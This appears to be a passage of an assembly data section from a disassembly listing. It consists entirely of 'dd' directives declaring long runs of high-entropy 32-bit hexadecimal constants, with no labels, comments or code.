		dd 10C2D88Bh, 9EC3B075h, 0E28D0732h, 307D5C16h,	3F3B1A05h
		dd 497BBFh, 47B61FCh, 2601F4D6h, 0F9CCDEE0h, 86D83E1Eh
		dd 96C640FEh, 87B7B5h, 0F7805257h, 0B72D8945h, 6E54DC3Fh
		dd 2AF181CBh, 529D8B10h, 1D2ABAF8h, 0F37AE082h,	7126BFEh
		dd 66D170AFh, 8CB3A6BFh, 71D289AFh, 0C2819CF8h,	13905FA2h
		dd 0FC5C025Dh, 0F5BE1604h, 4DE29A4h, 2EFB4599h,	0ED60BBF1h
		dd 8217619Dh, 0EE95E5D0h, 0D45FB677h, 7FF49501h, 60141CC7h
		dd 48DAE63Bh, 5FCE7160h, 0F6C62961h, 0B57CF454h, 0D613E774h
		dd 5BA23048h, 0C4681ED3h, 0C1746602h, 0C6FFF127h, 0C9E0FCCDh
		dd 12DBAE84h, 0F1CD51ACh, 3E442F95h, 301223B1h,	2C3CEB5Eh
		dd 4EB3F100h, 3BB21E25h, 98140157h, 5C291AE3h, 50743AFEh
		dd 0C5004A3Fh, 9C20AEFBh, 863D646Eh, 8D01128Ah,	5A09E6A4h
		dd 2BF9B5B5h, 50DA0F00h, 3DE13DBFh, 6E4A4CCEh, 0FEA801F5h
		dd 2D418529h, 0AFDF8B01h, 89DB884Ah, 6ABFE517h,	0BAD571Bh
		dd 0D1F0AD0Dh, 0EFD7005Ah, 0A43D4D77h, 0DB0EE67Eh, 402A4BA5h
		dd 0C56CA861h, 0AA1C5042h, 0DD1D2FACh, 777AF1FBh, 257CEC2h
		dd 0F7864B43h, 3520ECC4h, 0B5890A17h, 0A7AB1F9Dh, 0BF000964h
		dd 89021162h, 3B9646F1h, 420495AEh, 0AAEE5DB8h,	61606831h
		dd 0F66EC52Eh, 98C4E370h, 5C9C8Eh, 0BB4B7EE3h, 48F95F59h
		dd 0AC6F6A5Eh, 535D8707h, 0EB4940B1h, 414E4CB8h, 9582CEA9h
		dd 0EB922359h, 8CE45Dh,	756FDC56h, 663D4764h, 490019E2h
		dd 58374305h, 9F101395h, 19E1D51h, 132DAD88h, 41AEA35Bh
		dd 3B31C5B3h, 5402ACE6h, 3CE2439Ah, 9699274h, 0F74292E6h
		dd 4562A04Eh, 0FCD1FFA9h, 4317DC68h, 60FB2E2Ch,	31E3BBDBh
		dd 44A5149Dh, 0C1EC896Fh, 58A3345Bh, 1272110h, 0AD8DBB90h
		dd 0B12E3381h, 51C87E17h, 582A969Bh, 4E093418h,	4C78B5Eh
		dd 20EA9017h, 937BD61Ch, 3758C01h, 0B90E24CEh, 0B2F3E63Ah
		dd 27563016h, 0C5F4FB51h, 3875222Bh, 27E9C00Dh,	7C450E1Ch
		dd 21DB688h, 18159D2Bh
		dd 0CC023075h, 0A48500B9h, 99633BAEh, 0EC005E1Eh, 0DB0591EDh
		dd 4A4E90DDh, 0AA1FE8C4h, 0B9886900h, 0E1A436C9h, 311D5D0Fh
		dd 0D3177CBDh, 0EDD719B8h, 931C800Eh, 1190FB5Fh, 58218D0Fh
		dd 2405371h, 7D309FB3h,	596AE282h, 0DD7E2DEEh, 8CCD1D60h
		dd 5B922EEFh, 0EDEA793h, 4946F26Bh, 40BCCE90h, 13396507h
		dd 63211B34h, 6E6175E0h, 48090CDCh, 4E79356Ah, 2CF8A0Bh
		dd 0B3EE92BFh, 49C97446h, 4CDBD75h, 850FA3E2h, 2F1DB123h
		dd 1623D66Bh, 5340DF01h, 0F83DFF6Ah, 0B50FF6B8h, 0C259909Eh
		dd 984B8793h, 0C955D0h,	0C1DD127Ah, 6537C27h, 9FBF0902h
		dd 606B3443h, 40A5B53Eh, 0BD122924h, 28BA19F1h,	23880645h
		dd 4B9943BDh, 728311ACh, 9BF00663h, 9870EB69h, 0ABE1AA01h
		dd 31F99D09h, 30335F01h, 0F7821A08h, 0CD44B4Ah,	0D2DE1209h
		dd 89CF45DAh, 7420052Eh, 815143E8h, 252437F8h, 745B3925h
		dd 0C5D96548h, 80FFB846h, 0C59948D1h, 577800ADh, 0A032C32Bh
		dd 0D4012942h, 525CDD6Fh, 0E27B3727h, 4FF922B8h, 72EF28Bh
		dd 0C82BFD8Ah, 0A331BFD1h, 9BBD1F8h, 7E269E74h,	902E3D1h
		dd 101F3195h, 0C0823045h, 971EC140h, 890AEB44h,	90A9D95h
		dd 982BC37h, 64E9741Dh,	48E9461Ah, 20504E0Bh, 49E60858h
		dd 9E7C0400h, 0FAEB4399h, 3D8C0BBBh, 9A5D5B2Dh,	6D09F59Ah
		dd 43B9457h, 41F78056h,	3465045Bh, 0DF89504Fh, 0A8E20Dh
		dd 4363BB63h, 4C72D927h, 9D4921F4h, 22181AF1h, 34C72702h
		dd 5549077Fh, 95314C18h, 4E0B7120h, 0C1BCA36Ah,	4FFCA228h
		dd 15BFBC0h, 0D2DDBDCAh, 3A4EF80Ch, 2D7ACB57h, 19E8FC00h
		dd 6937DA6Bh, 6489EF16h, 4A22871Ch, 6F17BEB9h, 0A404216Eh
		dd 0E8D88BA2h, 42553B4h, 12F07BFDh, 3C1E287h, 4624F9BDh
		dd 56601251h, 41AA0458h, 8C0E132Bh, 3DF716B8h, 45E97BB0h
		dd 3C2D0B07h, 0AEF3BF8Eh, 0D8EBBC68h, 5F97D94h,	0D10904BFh
		dd 0B5BCE980h, 7C526AAFh, 48122024h, 22F68512h,	0B43AC8E0h
		dd 0A32A7304h, 0D1E898B3h, 8117B194h, 0A70EEC08h, 570BE5C2h
		dd 52A63245h, 587400D6h, 0B9D08DA8h, 7027EBC1h,	0E9E945F0h
		dd 5752985Bh, 0FE8A4940h, 51E7C9A0h, 38BB4002h,	74101F86h
		dd 6B8E51C3h, 7F00777Bh, 7417D3BCh, 0F19531A6h,	7C7425F0h
		dd 2A0201FEh, 0A8BE291Ch, 1197023h, 0DA2EF589h,	0C01BC805h
		dd 0A30378B9h, 44D9FE00h, 0FF81B7A7h, 26E6BFE1h, 0F18D3113h
		dd 2A2D153h, 0DE691A88h, 299DD431h, 4401D190h, 1EC5709h
		dd 13CC1C27h, 0A60050F4h, 928DE23Ah, 4494035h, 0E745DDEEh
		dd 0A3F4E836h, 0AC995FACh, 9D1A2088h, 1839E0C0h, 73CE329Dh
		dd 655F5133h, 0C0132F23h, 0C5E187A6h, 0B82FE4F2h, 1C5996C4h
		dd 0DAFA37BAh, 0F7CD25FBh, 5CB797E2h, 6E962B8h,	50DC7120h
		dd 9CC202CFh, 1FB1BD89h, 60CD3A5Dh, 0B10E5174h,	90F90997h
		dd 0CF58CC8Bh, 40826EEDh, 0BD01002Ah, 49910CB9h, 8360372Ch
		dd 7AEFDF49h, 1381002Fh, 9CDC85Ch, 0DD182758h, 5F56C004h
		dd 0FCF60968h, 0F5712BD4h, 40567425h, 5A0556A4h, 61B3D202h
		dd 0DD525080h, 8018D628h, 0B84F44C1h, 3E018620h, 455FDD98h
		dd 0BD286261h, 468B94Eh, 2BCBFF09h, 28EA6EABh, 9D20D5C8h
		dd 0B5290923h, 0F15C187Dh, 60FD6D5Ah, 74BEDD31h, 0B7CBF14h
		dd 154112C1h, 80D8D7E9h, 0E9810BE1h, 4E124BC6h,	4A07BD8Ah
		dd 32B4AAF6h, 5F791E73h, 89ECBA00h, 16E37E4Bh, 0BEC0F5E0h
		dd 53AC5D35h, 0B5315F02h, 3A5D0271h, 73F99Ah, 97B262A6h
		dd 613AAEAAh, 0A4C784F5h, 0DAEB9D60h, 0C019C88Dh, 121731A2h
		dd 60327813h, 1E638888h, 4199D493h, 9A2BB05Bh, 497920D0h
		dd 9D612A40h, 0BD55562Bh, 314D0107h, 0D980DE08h, 4FFB68A8h
		dd 53060844h, 0BDEF60ABh, 5F8120C1h, 6033CF26h,	5DE4293Ah
		dd 0A5120D8Dh, 888F132Fh, 0A6008B0Ch, 0B98452F3h, 1CE6578Dh
		dd 5FA4E6Eh, 0EFB589BCh, 505B0990h, 0B8663A60h,	344888B2h
		dd 0E0A74D7Fh, 138EC0A2h, 134C033Bh, 60FF14F8h,	1C819D4Fh
		dd 0AFB5D782h, 0AB801891h, 0F13E1106h, 9AA05371h, 0D3DC0CF9h
		dd 88CF786Dh, 124768E0h, 9911DFFh, 0B76F844h, 1C9B81Ch
		dd 70F0FB6Fh, 6327BA2Bh, 0CEC146F8h, 489061E0h,	62D92F81h
		dd 0DC815450h, 5EE37C0Ch, 4C65561Fh, 0FEA41F27h, 5761BD09h
		dd 0E500A837h, 0B0C25BF3h, 68432728h, 0C1ADC245h, 382F0817h
		dd 909510B5h, 5B04E35Ch, 488EA20Dh, 192D1645h, 0D3EE8EE8h
		dd 608E1CFCh, 0B8930834h, 0A7BC80C2h, 0E40CF3Eh, 61E8C2E3h
		dd 0E8FE8A24h, 467A15Ch, 0A4816507h, 3809BF05h,	2750936h
		dd 9E3051E3h, 4492DADh,	0CAD07BFBh, 0AFB02F1Fh,	0F86A74DEh
		dd 0D7240109h, 159126B7h, 9E19683h, 4A30C24Ch, 0ADA41DBCh
		dd 0ABEA8CCh, 3880ED75h, 25712C8Dh, 0AA818AEEh,	8E24C20Bh
		dd 0DF3F0225h, 8274F244h, 5195D6Ah, 6935509Fh, 92819530h
		dd 0DDE595A4h, 42B250h,	8E412593h, 5C4CA5C2h, 7E3B1A9Dh
		dd 0F07543F5h, 7305B9F8h, 46612525h, 0A65F4B68h, 301DB2DFh
		dd 18983A32h, 872AAF02h, 0F16D7638h, 6965AE98h,	0B5A01579h
		dd 0D3139525h, 0C9299E1Eh, 0B979152Dh, 500A5B69h, 6502F51Fh
		dd 0D6BB669Ch, 25B65E6Ah, 745C7FC2h, 91646D6h, 4B68491h
		dd 604B28D6h, 21959075h, 3123003Ah, 9498CF06h, 799D5855h
		dd 1719006Fh, 0A7485F2Ah, 24407A00h, 0B6C16A88h, 0C9AC1F73h
		dd 2587AC63h, 6453A0C2h, 26D1BBD0h, 178A9C6Ch, 0BFB18869h
		dd 1CBA309h, 597CDB7Bh,	0B5F71814h, 5A506045h, 0DD871385h
		dd 1792C2A4h, 0C7EB9604h, 0AF50B5C8h, 99BF7924h, 0FE5723Ch
		dd 0E011D44Bh, 0DCB05669h, 85B0061h, 37A58FD8h,	0DD1E951Ah
		dd 46EDCE7Ah, 93A400D7h, 424B9D07h, 0BA041072h,	6CEDA99Ah
		dd 9A245CC4h, 815360AFh, 511213EBh, 57E96DD7h, 28C19ACh
		dd 0DEFDA25Bh, 274135C7h, 74EB1508h, 0A299B8FCh, 0CF81212Dh
		dd 6DFF305Bh, 0FB8B5017h, 199BA453h, 0B834B280h, 0CC52EC4Fh
		dd 0CB800A7Bh, 51609DC1h, 1E9FA1h, 3E500584h, 90D87322h
		dd 0BD2C29E6h, 79A5DE55h, 0DAE42B26h, 0E1454AF5h, 0EE042F5Dh
		dd 4AC26F20h, 2AA607C0h, 4A50E58h, 0BE6EC571h, 0A8EDAE52h
		dd 0D203ACECh, 3EA09E05h, 11802572h, 0D7709174h, 0C9E24231h
		dd 0F637D665h, 890F2612h, 3E312DAEh, 5E8551D8h,	0ECD0AD7Dh
		dd 859175Ch, 92D9BC8Bh,	68506FE0h, 1C358253h, 0B2D1655Bh
		dd 40F3CDE9h, 0C8DEC450h, 2F158F02h, 568A0FFFh,	0D422625Ah
		dd 49EFAE80h, 464BE931h, 0A888BCA1h, 273B23A5h,	0C04D6DC1h
		dd 0FF62D5DEh, 6058327Eh, 0BB910D1h, 0B37EB802h, 99C037BEh
		dd 9B97DABFh, 0B52A1078h, 5B520924h, 89907150h,	0BD4274B7h
		dd 7F8B77Dh, 0C09BCEB0h, 0EC226185h, 0EEBDD14Eh, 0DFAB1580h
		dd 0FD17A791h, 5A57A071h, 106462A2h, 0A9B658A1h, 0DBDD5E2Dh
		dd 0C0AECF70h, 9D33D2EEh, 457EBE21h, 0CD830405h, 0B9A01313h
		dd 2A240938h, 3DDD5B4Bh, 0F82A926Fh, 0B3F5044Fh, 6FFA6AE2h
		dd 0A983006Ah, 0D9397B64h, 2071187Dh, 0B5314A79h, 4D16194Ah
		dd 1CAC83BDh, 2DEC3A8Ch, 0A38407F3h, 203BBF49h,	0CCD6AC8h
		dd 0C0F91A97h, 95321184h, 4AC1E8B0h, 2B390D00h,	941C479Dh
		dd 0E8024AD9h, 0C28D3A48h, 2470DF25h, 44E09495h, 0F5BC518Ch
		dd 0C5565B63h, 0B9EFBB8h, 6B7B026Ah, 0B53B6870h, 0A025AF00h
		dd 8CCE5090h, 7BB6B2F8h
		dd 0EEACA2E0h, 46B76A02h, 0E5B25E8Ch, 0D693241Fh, 2CF3185Bh
		dd 0B18D8905h, 41B6492Eh, 0B3C2FD71h, 3FC0092Dh, 0CCA6DFA4h
		dd 955E3900h, 7BB7B5F9h, 25A90B82h, 0EAE1617Fh,	4E7A2A26h
		dd 8F5EE660h, 0C70A544Bh, 0A8CD591Bh, 556B5EA5h, 0BD01D201h
		dd 0FC020DA1h, 0CE624C62h, 0DFBF4C48h, 5C9F3B13h, 0B3ED4F52h
		dd 1500E3B8h, 3C00DDBh,	26394F2Bh, 4D65605h, 0B95B683Eh
		dd 29B697E1h, 0CFBBC9E0h, 5682EF2Fh, 3277E9C6h,	10445725h
		dd 0D4797E95h, 139E1556h, 81E2FE80h, 22C15E00h,	0A6B6FA8Ch
		dd 1897F00Eh, 72ACA2DAh, 0D783876Ah, 6EABFF45h,	48BC0773h
		dd 1E30201Ah, 4B3A9EFFh, 6B8DA10Bh, 39FD7E60h, 0F754003Bh
		dd 83A079E9h, 0D1254238h, 7D6CA1B5h, 0B32E33D6h, 0D88B124Ch
		dd 0D6BE5685h, 4D255CF8h, 110EE534h, 91B55F75h,	0F2243492h
		dd 0F2887C11h, 0F81907C7h, 20EA5CD5h, 4AC343F1h, 76334712h
		dd 7E5AF2h, 0F6103E4Eh,	73CF675Bh, 5CBC573Bh, 45BD09C6h
		dd 501F7A14h, 8202DE03h, 10BF255Ch, 278DF89Fh, 4896AD9Dh
		dd 12C2BF19h, 0F1170A18h, 0C9C7432Ah, 0A5284762h, 394CDF25h
		dd 0F4C36289h, 0EE0E29ACh, 0C02A32FDh, 9CAD6136h, 24F47C25h
		dd 97EC8D9Dh, 0E829125Bh, 705D692Bh, 9BBF0434h,	0BC21364Dh
		dd 2E814B36h, 0D1C9FA8Bh, 0D01A203Bh, 0A207BB90h, 0C14C389Dh
		dd 0BE527D00h, 5F490103h, 36F67511h, 0F9D94CE9h, 0AD27E0B8h
		dd 11A1590Bh, 0AAC03C06h, 0C25F2FF9h, 0F88088B9h, 0ADA26B41h
		dd 0CE3D1F02h, 5DB9903Eh, 122B38AAh, 224FF31Ah,	9E86EC16h
		dd 94D76063h, 6B69E988h, 0DD938215h, 0AA6EF730h, 8C9E10B5h
		dd 2C8A00D9h, 1CFBE3C7h, 0F925C308h, 4559E41Bh,	0D8930345h
		dd 2385A5E2h, 2068CCFEh, 99054FFEh, 930283A2h, 86212CC4h
		dd 0F728F0Fh, 0A1003453h, 270575C6h, 0E0C21A0h,	38FC1AACh
		dd 5FEFCA19h, 133D0BE9h, 58505076h, 0BFDC7BA9h,	2C103037h
		dd 7C5EBB02h, 66DF5673h, 3E07F6E0h, 0CCCBC3D7h,	23095062h
		dd 231ED9BDh, 5F5CB92Fh, 2E89B1FDh, 0DB162316h,	0E52B5DBFh
		dd 9CC0D54Dh, 2151CD6h,	7EC2BBBEh, 0F3567F39h, 0F488D74Bh
		dd 10C4A590h, 98C38012h, 23AB7FBAh, 0DE3F011Ah,	0DCF0E611h
		dd 0CB1680F3h, 18F82999h, 4922D590h, 0CF880D2Dh, 8C5E600Dh
		dd 0F15ABD56h, 0E385C605h, 6A4E1CA7h, 4B0A1F9Bh, 3BB11D56h
		dd 7096203Ah, 800CA7Ch,	8F597D31h, 4635C1Ch, 0FD8D0148h
		dd 48E75225h, 8172DA5Bh, 11E9B4DDh, 43664010h, 0B54E3Ah
		dd 19A9CE6Eh, 98E59BAh,	0F52872CAh, 25A5679h, 5D3129BBh
		dd 0AB78837Bh, 22160180h, 0E179589Bh, 56282F98h, 0C381886Bh
		dd 0FE6FF709h, 0A5448233h, 0CB3B5E1Ch, 49B51A02h, 0FDEB165Eh
		dd 4581E035h, 3A960A98h, 5B0D9F30h, 4E18B30Fh, 2500C96Ah
		dd 74E5A2B3h, 9512297Ch, 33F32391h, 0EEB5C496h,	23C1AB9Bh
		dd 6F7F0EB2h, 36E2AC12h, 2E5E538Dh, 8FF0A0B6h, 0D9953E33h
		dd 4AF0C707h, 6804DE2Dh, 8D313DF2h, 9D60C7F4h, 0DF785DF3h
		dd 2500BACCh, 77E209BFh, 0C7E46DD5h, 0BF668049h, 490797Dh
		dd 0DB1F1D25h, 0D605243Fh, 6A75FD00h, 719D31ACh, 7E999718h
		dd 0DA2F0D2Dh, 5FDB8064h, 9ADCB3h, 4B98ECBBh, 9D8529FFh
		dd 6CB71B5Bh, 2E97B14Ah, 0B71A309Dh, 0B9B7D3C2h, 0A5F796E2h
		dd 25AF504Bh, 5C14E2ADh, 11498085h, 0EE33BFh, 5E87B0A7h
		dd 7FC3A61Bh, 8E09DC74h, 605FA119h, 9BA6029h, 3F027197h
		dd 9E007071h, 0CD8426E0h, 0D0F2090Dh, 1C583974h, 8BE0F38Dh
		dd 3AEBB46h, 682B8488h,	0D7C24B38h, 0C700AC56h,	92863B8h
		dd 3852D9Dh, 14796C7Bh,	0F4B8B218h, 44484CB7h, 0C01C2505h
		dd 17FD98ABh, 0B5FD0199h, 0F00229E8h, 0D5BD03D0h, 0E9935E1Eh
		dd 0A7FF6D28h, 0F04121DEh, 61E8E672h, 901B00A0h, 70A4975Ch
		dd 0FB32BA53h, 7D3DB455h, 7B70B3A9h, 0D9DFFB97h, 5E7CECA0h
		dd 9189E204h, 8DBCD929h, 0E94EBCDDh, 0DD39ADB5h, 0CF28EF97h
		dd 68924BAh, 1F11095Ch,	2EB08F14h, 2D8FD9B5h, 4467F82h
		dd 5DCED5Ch, 0CBF4C1B8h, 0EDB90508h, 7820AA2Ch,	0ED8C4ABFh
		dd 2E59E13Bh, 55312332h, 6804D152h, 3FC4DD7Fh, 0EABCECD4h
		dd 0DBBD803Ah, 6FF0BC56h, 2003AA09h, 0DE222BB8h, 78E121Eh
		dd 102F3DFh, 240E8EBBh,	802F9068h, 0FE28A6Bh, 12B73158h
		dd 71F88884h, 0D590977Dh, 1A039A95h, 0E70820DAh, 5C5EE0C3h
		dd 8CE601A5h, 93BA6660h, 0D6CA96AFh, 99E8E6F0h,	47CAF0Fh
		dd 0CB794240h, 5CF100DFh, 101A5826h, 8102A1D2h,	714EFFEFh
		dd 1FB2DF0Bh, 0B2DE824h, 80D53761h, 3900823h, 50C97CFBh
		dd 5775C2B9h, 0D99CEB9Eh, 0CC9300D4h, 0DCE35A9Ch, 1A25962Ah
		dd 169BC5AEh, 0ED36A948h, 0D7A9E82Ah, 0ECF69C8h, 0E65F68FBh
		dd 0BBF8873Dh, 37B608Ah, 3A01DAB4h, 0CEB371AEh,	338223E9h
		dd 399D8B56h, 2F5B22C9h, 84E7803Ah, 163C400Ah, 4F5ECC6h
		dd 0BF2F5534h, 0A46EBF81h, 1341500Fh, 260CA040h, 94973D08h
		dd 7E104594h, 5E1AED82h, 0A5FD7189h, 5A37F77Ah,	270E6A01h
		dd 4F286563h, 6E5E7D25h, 0C0897552h, 0A340E97Eh, 0CAD25Bh
		dd 75A6B58Eh, 1F64CDE5h, 0AF0B26A4h, 57C98D01h,	8471E229h
		dd 4BD3D8A5h, 88EEA217h, 8C80BD14h, 4A2831EDh, 3F5B743Eh
		dd 5F89BAA3h, 60856D79h, 0CAFA8C0Fh, 0DBF1070Bh, 2080E5E9h
		dd 0B4F58A1h, 9661FC5Ah, 0AF509C05h, 58F5328Dh,	0F59D1885h
		dd 7A85291Ch, 5D2ADB09h, 0C7802BB8h, 4866EF52h,	0FEFD042Ch
		dd 6BBA5AC4h, 1A2342h, 0CEAC8264h, 57250C5Fh, 574AEAF9h
		dd 0A640246Fh, 70DF9BF7h, 69499C41h, 4200EC44h,	47E085BDh
		dd 18730A9h, 0B83829DEh, 0DD13DB93h, 58132F9Dh,	0AE4A8BF2h
		dd 63B83A24h, 0A8E4A9E5h, 952200C0h, 8916A935h,	124F830Fh
		dd 178CDCh, 6DE772A3h, 7CCE4B39h, 0A9EC885Ah, 0BA51844Bh
		dd 79C0459Eh, 0D828BFC0h, 1BF82F02h, 0F731B348h, 56D27E44h
		dd 0C99F77ADh, 0C962F9BDh, 46D63D5Ch, 0C2270019h, 0C5A7A984h
		dd 1FE195F8h, 2402D0BFh, 128D3B41h, 6A0C5B56h, 0BCBAF520h
		dd 0A703005Ch, 0A67A854Fh, 820B21CCh, 0D51F69C7h, 3E964C11h
		dd 0F58067DBh, 0CB5798E8h, 105DE59Fh, 4E4E4809h, 0B90234AAh
		dd 8C1AACE6h, 80CAA63Ch, 5BF13AAh, 980EDF80h, 5CC89F27h
		dd 4D519D33h, 0E7F23AB8h, 0A5D9E693h, 80A584A8h, 600CF46Bh
		dd 0AA8B512Eh, 19B25E65h, 0F10B2900h, 92C93DD0h, 8DCBF94Bh
		dd 22B3441h, 96265A1Fh,	1240195Eh, 54D9AEh, 0AAC5C48Dh
		dd 505FE3B4h, 96EAB31Ch, 71BB0FD3h, 2E12155Bh, 0DB861ADEh
		dd 2C057CAAh, 8E0F74F5h, 245CFFB2h, 3D556C6Bh, 648F0074h
		dd 2B4047D1h, 285F4A00h, 0EB8151F8h, 7D951ECBh,	0D3D3AD71h
		dd 7908B588h, 0ECDF7D78h, 2798B50Eh, 1601E381h,	1389FC2h
		dd 51655D85h, 0BF59742Eh, 2782379Ah, 0C4D5D7A6h, 0B7C65E27h
		dd 8B7FA083h, 6C9697D8h, 5FFC5304h, 3DBC05E9h, 75950104h
		dd 0E78C2432h, 0A0F09CEh, 9CDFF6F3h, 322FF3ECh,	0D4749022h
		dd 91824F3Ah, 890F0231h, 34316675h, 0ABD2370Bh,	9E35046Eh
		dd 0A662A15Ch, 1D08AE42h, 448C300Ch, 39EDDD3Dh,	0B828B8C4h
		dd 496DB668h, 66040B70h, 906DABBBh, 0E818C4AFh,	0DA56DE62h
		dd 47B6FAEh, 8F10ED05h,	9C449C3h, 299D2B44h, 20DB3F92h
		dd 0B7209179h, 0CCAA65E3h, 33C44ADDh, 0F71C12CAh, 0A8BF0212h
		dd 6A5F88B2h, 29EC75B8h
		dd 2D4219EEh, 0C1C38101h, 2E2FA34Fh, 8A4BDC28h,	535DCA04h
		dd 0B106BE08h, 2B1FF58Eh, 4075C88Ch, 0F19D501Ah, 0FCA50043h
		dd 83D0918h, 0FCEAEABDh, 0DA9340B4h, 9A032CCFh,	0B999442Bh
		dd 0BB64F888h, 29DB346h, 0B59D3151h, 0E925147Ah, 89BC73Ch
		dd 58273D4Eh, 0B72C5E1Fh, 32F0A023h, 0A81E4ADFh, 7B9D7E43h
		dd 9F319DEDh, 0D9650Dh,	0C50CD816h, 71F80C57h, 0A960F85Fh
		dd 80EFBE77h, 0FEA454CAh, 23D70202h, 0D87CFEFCh, 67C9F150h
		dd 0ECB95761h, 34252EFAh, 0F80F5DEh, 0B3588525h, 2D07E748h
		dd 4697FEEDh, 5BBDCB31h, 0D5745A88h, 650215C0h,	3D9D1089h
		dd 0C5BF001Ch, 6A681E29h, 4BC190FFh, 5FD6B8FDh,	0A5F8B4E9h
		dd 0CCD61425h, 0C38451Ah, 0CB00BFBBh, 46496875h, 0EC7FAFBEh
		dd 0C69E1673h, 912E9A4h, 270E6F9h, 913135ABh, 2E6C98Ah
		dd 0FC5671E4h, 95A0891h, 215C2D85h, 8E5324Dh, 17F1642Bh
		dd 5C52BB84h, 158723ADh, 7E7F201Fh, 4A0080CFh, 0A0D95206h
		dd 4D59723h, 4E59FAF1h,	0B52943F3h, 89AE9CADh, 80826814h
		dd 0B0927657h, 70F41258h, 0DF57A883h, 0D6022C83h, 0AC5DC2Bh
		dd 0FFD1350Ah, 0E971A42Fh, 5F8028ABh, 805DA138h, 0AFE7D4E1h
		dd 1206B56Eh, 0E0C5458Bh, 12830306h, 0E2174DDEh, 19C75F06h
		dd 0E010EE16h, 72BE0560h, 0BA11EC33h, 4A20131Ch, 17F9D261h
		dd 95589E5Eh, 0A11F6481h, 0DC8B494Eh, 0C455494Bh, 0B8605ADCh
		dd 760A20E1h, 19F1350Bh, 88CB8C67h, 0B0054376h,	66EA4E5Eh
		dd 0D84E29BAh, 0A5F8FFB7h, 25FE2DA1h, 7A90A0E6h, 200586C4h
		dd 83A2DDACh, 0D01D535Dh, 5A123E38h, 0DBAB6A5Dh, 55C09F6Bh
		dd 0A4EC67A2h, 9D3924F7h, 3A2C6337h, 9425FC80h,	0A9422000h
		dd 0C7EAC9E5h, 0EF580741h, 0DB5FD20Eh, 71D5B02h, 403ADDh
		dd 7451EBECh, 0B5C67EB9h, 2903F9BDh, 26AECEDh, 0C222CB52h
		dd 335CCDB3h, 18F1503Fh, 422BE83h, 2B1DCAF7h, 800AB8C0h
		dd 7F3DCFBFh, 0C369754h, 40E3CD9Fh, 0C27A19E9h,	4E465902h
		dd 0D5878A62h, 75E0C46Dh, 0EF347FABh, 71BFB6E4h, 41D409D6h
		dd 7816880Dh, 0DE612AA1h, 0E4B64D5Fh, 0FE43601Ah, 291F0B79h
		dd 7F54F0AFh, 71482E10h, 0B91B9D12h, 0CF81C04Bh, 4A7FED04h
		dd 82D6CB70h, 0DF207585h, 0FD07F43Dh, 0E524D1Fh, 0DF4C6158h
		dd 9521AC24h, 71C70AD1h, 0F4AA5C0Bh, 0E7DEBD24h, 89F15507h
		dd 8254E575h, 184A7EECh, 14B831E9h, 80F40F8Ch, 0D7E068DBh
		dd 27995D4Bh, 891E1997h, 0FF847C6Ch, 4B32BAE1h,	2E897D09h
		dd 9EC2E251h, 0D189FB04h, 65E1E062h, 81EBC00Bh,	35D6A2BDh
		dd 0D3E77521h, 204E8211h, 7E66C5AFh, 0ECC0D000h, 0AD69056Fh
		dd 744325D4h, 2D1ADC65h, 0C3DE803Fh, 25609DD5h,	9C62FB8Bh
		dd 977071DBh, 111A003Bh, 0EF32E06Ah, 1790CCD8h,	6C254525h
		dd 0D44D96A0h, 80BD4839h, 96B0301Ch, 0A0C79F60h, 9501F990h
		dd 156AA699h, 0C0D1F05h, 3464F2F7h, 0EA96D57Dh,	0AEA594CAh
		dd 2D56F9D6h, 9AA631D1h, 589557FDh, 7C8A3D06h, 0D2D304A7h
		dd 13573778h, 13394C70h, 0C736AAA5h, 3982B550h,	3F851869h
		dd 618A4B09h, 31537B5Eh, 6E99DFACh, 737CDFA2h, 29A7BF1Fh
		dd 8023F1EFh, 0EB8D055Bh, 0E4FE52DCh, 25016DF0h, 0A661A1BBh
		dd 0BBAD3779h, 57AC2E18h, 39CA8F05h, 6EAF586Ah,	1479002Fh
		dd 0AF25198Ah, 0F6B05A3Ch, 3015B258h, 233FE670h, 1D83C99Dh
		dd 21CB0B52h, 71945726h, 255937BFh, 0C7A0E7F6h,	1C23D520h
		dd 2501BEE9h, 129B37D5h, 0EB6416A6h, 0E3A13252h, 0B3ABB77Ah
		dd 56F59A6Bh, 66BD2FDFh, 0EF0D7880h, 70014AADh,	2BCE1FDCh
		dd 0B1CD1280h, 279E3EE3h, 0D8EECAC2h, 89953778h, 0FBEF5702h
		dd 0EE810B47h, 538087BEh, 6CBB0689h, 294A94F8h,	0FFD03B27h
		dd 12A4687Ah, 0BED49063h, 449F072Ah, 0ECF87248h, 0BEE180FBh
		dd 39957610h, 0F50B6921h, 2DD5E57h, 80C6D1Ah, 44609BDh
		dd 1CD9E402h, 42845005h, 55535509h, 0A961AE9Ah,	0ADA63F34h
		dd 0A8E346F0h, 0BA25FE90h, 544C606h, 8498EF68h,	7CFF2A2h
		dd 0A44FE0FDh, 0E397F190h, 433AC20Bh, 9B5E5FE1h, 9A6B1005h
		dd 85B58D06h, 254ABED3h, 63B02F66h, 0FA23FD01h,	6EE38025h
		dd 0DA060B6Fh, 80FC3DF7h, 83E6A2BAh, 0D84D8BA6h, 0CD618B19h
		dd 7714C09Dh, 0F5A84D8h, 1DA46D81h, 0F082C2Eh, 0B737875Ah
		dd 0FFA871F4h, 7B8474A3h, 0D655C500h, 2B78EC9Bh, 29E9BD10h
		dd 9D637074h, 78D0207Bh, 1AD05F2h, 0AF32D99Dh, 7FC80F98h
		dd 22F40029h, 200F4401h, 0ABA22F37h, 0EF0381D9h, 0C0BEFB35h
		dd 0E3C43DCh, 5FFC5844h, 0EE0FE836h, 0E1AC9B91h, 0F9097D12h
		dd 26057404h, 0C71FC09h, 0F822AE44h, 9F9A0945h,	0E0926D1Fh
		dd 6FCEFC93h, 6ECD7709h, 4442Bh, 298EF69Dh, 3B62F988h
		dd 0A3C6270Eh, 2B047313h, 10217F1h, 914A7D85h, 4B5A15D7h
		dd 0D966AE77h, 9A2B5FECh, 0C029D0A7h, 0DF82C94Dh, 47CB2580h
		dd 19593173h, 61045318h, 915FC920h, 5101CAF2h, 84AFBDBCh
		dd 0FEB7E8C4h, 18A38500h, 1746A0D6h, 523028D1h,	2F3120F4h
		dd 0F2F85F4Fh, 0CDD005D3h, 602DBA1Bh, 0A6B0D036h, 8D383165h
		dd 0F6AC4A45h, 0C9BB40DCh, 5B0AAC0Fh, 0CA6E2AF7h, 2241F100h
		dd 1F9F280Ch, 5D9D8B09h, 93001C25h, 235A5896h, 8431113Eh
		dd 2695B509h, 1E6EF3EAh, 0C2C0F1B6h, 4AFBE19Ah,	0E56000Fh
		dd 4816361Bh, 0AF129024h, 0D6E57A31h, 0A1A7CA77h, 3F4008F3h
